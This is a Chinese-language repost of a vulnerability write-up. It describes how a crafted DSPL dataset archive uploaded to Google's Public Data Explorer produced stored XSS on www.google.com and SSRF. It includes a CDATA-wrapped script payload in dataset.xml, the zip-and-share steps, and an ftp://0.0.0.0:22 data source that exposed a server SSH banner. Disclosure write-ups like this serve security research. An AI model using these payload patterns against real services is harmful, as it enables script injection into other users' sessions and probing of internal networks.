本篇文章给大家分享的是有关看我如何构造DSPL语言包及发现Google的存储型XSS和SSRF漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
下面讲述我通过精心制作Google数据集发布语言(DSPL)包,在请求www.google.com的环境中构造出存储型XSS漏洞,另外,利用DSPL的远程数据源功能实现了本地服务访问(也即SSRF)。
Google的数据集发布语言DSPL
Google的数据集发布语言:Google利用其具备的强大网络数据收集能力,在数据挖掘和可视化方面拥有多项应用,通过搭建可视化的商业和公共服务平,方便第三方公司和个人充分数据收集可视化。用户可以利用Google的数据集发布语言(Dataset Publishing Language,DSPL)接口,把他们自己的数据库链接上Google的可视化工具,实现方便的个人定制数据可视化。
Google的公开数据浏览器(Public Data Explorer)是一款数据搜索和可视化显示工具,它以官方数据为基础,为一些常见的搜索请求制作图表,以更加直观的视觉形式反映出搜索结果。例如,我们可以利用它来方便地实现政府卫生支出、世界银行数据等大型数据集的搜集和可视化。
DSPL使用XML来描述数据集中的元数据,还会用到CSV数据文件,例如DSPL下的sample.zip压缩包格式是这样的:
Archive: sample.zip
Length Date Time Name
--------- ---------- ----- ----
246 02-01-2018 13:19 countries.csv
221 02-14-2011 17:13 country_slice.csv
7812 03-04-2018 21:12 dataset.xml
246 02-14-2011 17:13 gender_country_slice.csv
28 01-29-2018 20:55 genders.csv
200 02-14-2011 17:13 state_slice.csv
300 01-29-2018 21:11 states.csv
--------- -------
9053 7 files
漏洞端倪
问题就在于,Google的公开数据浏览器(Public Data Explorer)在使用数据集归档中提供的元数据时,不会去检查这些元数据是否经过有效编码或安全验证。
以下面这个数据集的使用为例:
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
unzip sample.zip; rm sample.zip
可以对数据集中dataset.xml文件的元数据名称值进行更改。另外在以下XML文件中,可以使用CDATA部分来包含JavaScript的执行脚本(Payload),以防止其被当做XML标记来解析:
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Some very interesting statistics about countries</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
之后,执行以下两步操作:
zip -r poc.dspl *
将上述精心制作的数据集文件上传到Google公开数据浏览器中(Public Data Explorer),把它公开分享
这样一来,只要点击查看该数据集的用户,都会在www.google.com请求环境中被执行一段攻击者精心制作的JavaScript恶意脚本(这种脚本如Coinhive)。
漏洞PoC测试
在以下视频中我们可以看到,构造一个包含恶意脚本的数据集压缩包,上传部署后,能成功执行预定脚本:
http://v.youku.com/v_show/id_XMzQ3MTM0Njk0OA==.html
https://vimeo.com/258923005
而且,因为DSPL还具备从远程HTTP或FTP源中进行数据检索,所以,利用该功能和上述缺陷可以实现SSRF攻击,访问到某些本地主机的服务数据资源(另外,深入利用,还可间接访问到目标系统内与互联网隔离的内部网络系统,进一步对目标系统内的系统或设备造成安全威胁)
例如,把poc.dspl/dataset.xml中的内容更改如下:
<table id="my_table">
<column id="first" type="string"/>
<column id="last" type="string"/>
<data>
<file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
</data>
</table>
在把该数据集进行上传分享时,Google服务端返回了HTTP/FTP请求的出错处理响应,其中显示了Google服务端的SSH详细banner信息,实际上,这本来就是一种不应公开显示的服务端信息:
以上就是看我如何构造DSPL语言包及发现Google的存储型XSS和SSRF漏洞,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
原创文章,作者:bd101bd101,如若转载,请注明出处:https://blog.ytso.com/222110.html